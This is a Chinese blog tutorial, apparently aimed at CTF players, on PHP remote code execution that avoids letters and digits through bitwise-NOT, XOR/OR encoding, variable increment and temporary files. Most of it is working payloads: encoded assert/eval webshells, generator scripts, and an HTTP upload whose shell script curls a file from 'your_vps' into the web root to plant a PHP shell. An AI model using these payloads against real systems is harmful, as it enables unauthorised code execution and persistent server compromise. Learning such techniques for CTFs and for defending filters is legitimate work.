您现在的位置是:首页 > 技术教程 正文

无数字字母rce总结(取反、异或、自增、临时文件)

admin 阅读: 2024-03-16
后台-插件-广告管理-内容页头部广告(手机)

目录

取反

异或

自增

临时文件


大概思路有取反、异或、自增,临时文件

推荐文章无字母数字webshell总结 - 先知社区

取反

如图示,对phpinfo取反,再取反,仍然得到phpinfo,但是可以利用它进行一些对数字字母过滤的绕过

paylaod: (~%8F%97%8F%96%91%99%90)();

像这样:

  1. <?php
  2. $a=urlencode(~'assert');
  3. echo $a;
  4. echo '666';
  5. $b=urlencode(~'eval($_POST[1]);');
  6. echo $b;

shell:

(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);

异或

这里有一个异或构造的脚本, 相信聪明的你一看就知道怎么回事了

  1. valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
  2. answer = str(input("请输入进行异或构造的字符串:"))
  3. tmp1, tmp2 = '', ''
  4. for c in answer:
  5.  for i in valid:
  6.    for j in valid:
  7.      if (ord(i) ^ ord(j) == ord(c)):
  8.        tmp1 += i
  9.        tmp2 += j
  10.        break
  11.    else:
  12.      continue
  13.    break
  14. print("tmp1为:",tmp1)
  15. print("tmp2为:",tmp2)

那么怎么利用呢?

  1. var_dump('#'^'|'); //得到字符 _
  2. var_dump('.'^'~'); //得到字符 P
  3. var_dump('/'^'`'); //得到字符 0
  4. var_dump('|'^'/'); //得到字符 S
  5. var_dump('{'^'/'); //得到字符 T
  6. $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //变量$__值为字符串'_POST'
  1. mess=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);&_=print_r(show_source('p.php'));
  1. <?php
  2. $_ = "!((%)("^"@[[@[\\";   //构造出assert
  3. $__ = "!+/(("^"~{`{|";   //构造出_POST
  4. $___ = $$__;   //$___ = $_POST
  5. $_($___[_]);   //assert($_POST[_]);
​ //需要注意的是,由于我们的Payload中含有一些特殊字符,我们我们需要对Payload进行一次URL编码。

像这样:

${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=命令或函数 ${"`{{{"^"?<>/"}['+']();&+=命令 //$_GET[+]

参考ctfshow web141

payload大概这个样:

?v1=1&v2=1&v3=%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")%2b

  1. import re
  2. content = ''
  3. preg = '[a-z]|[0-9]' # 题目过滤正则
  4. # 生成字典
  5. for i in range(256):
  6. for j in range(256):
  7. if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
  8. k = i | j
  9. if 32 <= k <= 126:
  10. a = '%' + hex(i)[2:].zfill(2)
  11. b = '%' + hex(j)[2:].zfill(2)
  12. content += (chr(k) + ' ' + a + ' ' + b + '\n')
  13. f = open('rce_or.txt', 'w')
  14. f.write(content)
  15. while True:
  16. payload1 = ''
  17. payload2 = ''
  18. code = input("data:")
  19. for i in code:
  20. f = open('rce_or.txt')
  21. lines = f.readlines()
  22. for line in lines:
  23. if i == line[0]:
  24. payload1 = payload1 + line[2:5]
  25. payload2 = payload2 + line[6:9]
  26. break
  27. payload = '("'+payload1+'"|"'+payload2+'")'
  28. print("payload: "+ payload)

自增

  1. <?php
  2.      $_++;
$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字
  1. "A"++ ==> "B"
  2. "B"++ ==> "C"

也就是说,如果我们能够得到"A",那么我们就能通过自增自减,得到所有的字母。 那么问题就转化为怎么得到一个字符"A"。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。

  1. <?php
  2. $a = ''.[];
  3. var_dump($a);

$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字

payload:

  1. <?php
  2. $_=[].''; //得到"Array"
  3. $___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
  4. $__ = $___; //$__="A"
  5. $_ = $___; //$_="A"
  6. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
  7. $___ .= $__; //$___="AS"
  8. $___ .= $__; //$___="ASS"
  9. $__ = $_; //$__="A"
  10. $__++;$__++;$__++;$__++; //得到"E",此时$__="E"
  11. $___ .= $__; //$___="ASSE"
  12. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
  13. $___ .= $__; //$___="ASSER"
  14. $__++;$__++; //得到"T",此时$__="T"
  15. $___ .= $__; //$___="ASSERT"
  16. $__ = $_; //$__="A"
  17. $____ = "_"; //$____="_"
  18. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
  19. $____ .= $__; //$____="_P"
  20. $__ = $_; //$__="A"
  21. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
  22. $____ .= $__; //$____="_PO"
  23. $__++;$__++;$__++;$__++; //得到"S",此时$__="S"
  24. $____ .= $__; //$____="_POS"
  25. $__++; //得到"T",此时$__="T"
  26. $____ .= $__; //$____="_POST"
  27. $_ = $$____; //$_=$_POST
  28. $___($_[_]); //ASSERT($POST[_])

临时文件

临时文件目录:

Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符])

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)

大概就是在自己的vps上写一个命令执行的txt,然后在题目post该命令

curl http://your_vps/1.txt > /var/www/html/1.php

然后 ?cmd=?><?=`/??p/p?p??????`;

为什么可以这样执行呢?因为在linux里,如果一个文件里有命令,是可以通过这个文件名执行命令的,这里我们相当于使用临时文件执行了命令

报文:

  1. POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
  2. Host: 618a0396-811a-4d71-8a45-f1de434bde26.chall.ctf.show
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: multipart/form-data; boundary=---------------------------5642920497686823912130808832
  8. Connection: close
  9. Cookie: UM_distinctid=17424c95164f2-06a0a787df53968-4c302273-144000-17424c9516533d
  10. Upgrade-Insecure-Requests: 1
  11. Content-Length: 291
  12. -----------------------------5642920497686823912130808832
  13. Content-Disposition: form-data; name="fileUpload"; filename="dd.txt"
  14. Content-Type: text/plain
  15. #! /bin/sh
  16. curl http://your_vps/dd.txt >> /var/www/html/Demo.php
  17. -----------------------------5642920497686823912130808832--

这样就会把dd.txt里的内容以php的形式写入到网站服务器里。完成getshell。

标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索